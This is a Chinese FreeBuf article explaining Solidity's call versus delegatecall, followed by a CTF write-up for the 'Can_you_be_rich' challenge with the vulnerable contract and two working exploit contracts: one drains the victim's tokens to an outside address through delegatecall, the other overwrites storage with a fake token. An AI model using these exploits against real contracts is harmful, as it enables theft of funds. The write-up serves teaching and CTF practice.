freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

函数Delegatacall的多种利用
2022-10-18 16:30:59
所属地 广东省

一.     跨合约函数调用

在solidity中,有两种call函数可以实现跨合约调用,包括call和delegatacall。

1.1   使用方法

call 函数

<address>.call(...) returns (bool, bytes)

address为要调用合约地址,call函数的参数为要调用函数的签名和传入参数。

Delegatacall

<address>.delegatacall(...) returns (bool, bytes)

address为要调用合约地址,call函数的参数为要调用函数的签名和传入参数。

1.2   区别

call调用后的执行环境和上下文会变成被调用合约的。

delegatacall调用的执行环境和上下文是源合约的。

二.     Can_you_be_rich

这时第五空间决赛杂项中的合约题,这题考查的就是delegatacall的漏洞利用。

2.1   源码

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import "@openzeppelin/contracts/access/Ownable.sol";



contract CTFToken is ERC20,Ownable {

bool airdropped;


constructor() ERC20("CTFToken", "CTF") {

_mint(address(msg.sender), 100000000000);

}


function airdrop(uint num) public onlyOwner {

require(!airdropped, "Already airdropped");

airdropped = true;

_mint(msg.sender, num);

}

}


contract  Vuln {

CTFToken public  token;

bool solved;

constructor()  public  {

token=new CTFToken();


}

function set(address _contract) public  {


(bool success, bytes memory data) = _contract.delegatecall(

abi.encodeWithSignature("set()")

);

require(success, "delegatecall  failed");

require(!solved, "");

}

function solve() public{

require(token.balanceOf(msg.sender)>=100000000000);

solved=true;

}

function isSolved()  public view returns(bool){

return solved;

}


}

先查看被攻击合约,构造函数中新创建了一个CTFToken合约,CTFToken合约是一个ERC20合约,在部署该Token合约的时候就给msg.sender mint了100000000000wei,这里msg.sender就是被攻击合约。

回到被攻击合约,里面还有函数set、solve、isSolved。其中set函数delegatacall给定地址的set函数。

solve函数会判断调用者的token月是否足够,如果达标,则将solved置为true。

isSolved函数会根据solved触发flag。

2.2   解法1

delegatacall函数在调用的时候msg.sender依然会是本合约,我们可以利用这一点进行攻击。

因为CTFToken合约在部署的时候就已经向被攻击合约mint了足够数量的币,所以被攻击合约的余额是足够的,那么想办法把被攻击合约的余额转到攻击合约上就可以了。

我们可以在delegata合约中加入转账的逻辑,而因为delegatacall调用的msg.sender不变,所以就可以把钱转走:

contract Delegate {


address public ctfAddress;


constructor(address _ctfAddress) {

ctfAddress = _ctfAddress;

}


function set() public {

CTFToken token = CTFToken(ctfAddress);

// 这个地址是我们的外部地址

token.transfer(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, 100000000000);

}

}

攻击合约:

contract POC {


constructor(address vulnAddress, address tokenAddress) {

Vuln vul = Vuln(vulnAddress);

Delegate dele = new Delegate(tokenAddress);

vul.set(address(dele));

}

}

这时再用这个外部地址调用被攻击合约的solve和isSolved函数就可以拿到flag

contract POC {


constructor(address vulnAddress, address tokenAddress) {

Vuln vul = Vuln(vulnAddress);

Delegate dele = new Delegate(tokenAddress);

vul.set(address(dele));

}

}

2.3   复现1

首先部署被攻击合约:

1666081522_634e62f287bf9797a70a6.png!small?1666081523186

获取CTFToken的合约地址,并通过该地址获取token地址的实例:

1666081530_634e62fababca02a3a70e.png!small?1666081531785

部署攻击合约:

1666081537_634e63016e25b24478adc.png!small?1666081538009

由于攻击流程都在构造函数中,所以现在我们自己的外部地址应该有足够的余额了:

1666081543_634e6307d4f84cd9a2cbc.png!small?1666081544333

这时使用这个外部地址调用攻击合约的solve函数,就拿到flag了:

1666081551_634e630f0cb655f5dcd68.png!small?1666081551529

2.4   解法2

delegatacall不仅msg.sender是源合约,上下文也是源合约的,storage也是源合约的。

我们再回看solve函数:

1666081700_634e63a4f38548d2ccc40.png!small?1666081701891

这里需要msg.sender的token地址的余额大于一个值,那我们能不能把这个token地址改成我们部署的一个合约,并且重写balanceOf函数,并让它直接返回一个足够的值。

首先先部署一个假的token合约:

contract fakeToken {

function balanceOf(address _address) public view returns(uint256) {

return 100000000000;

}

}

再调用solve函数就可以拿到flag:

2.5   复现2

先部署被攻击合约,并获取token地址:

1666081715_634e63b3e5ee0c525f968.png!small?1666081716551

部署假的token合约:

1666081722_634e63ba172fa41bdfefc.png!small?1666081722649部署delegata合约:

1666081729_634e63c1c3d8bec3ff4ae.png!small?1666081730256

再将该合约的地址作为参数调用被攻击合约的set函数,在调用完成之后,被攻击合约的token地址应该会被改成我们伪造的假token的地址:

1666081738_634e63ca1a2d633755ea9.png!small?1666081738745

在调用solve就可以获取flag:

1666081746_634e63d247fa5200a2dc5.png!small?1666081747163


# 函数
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录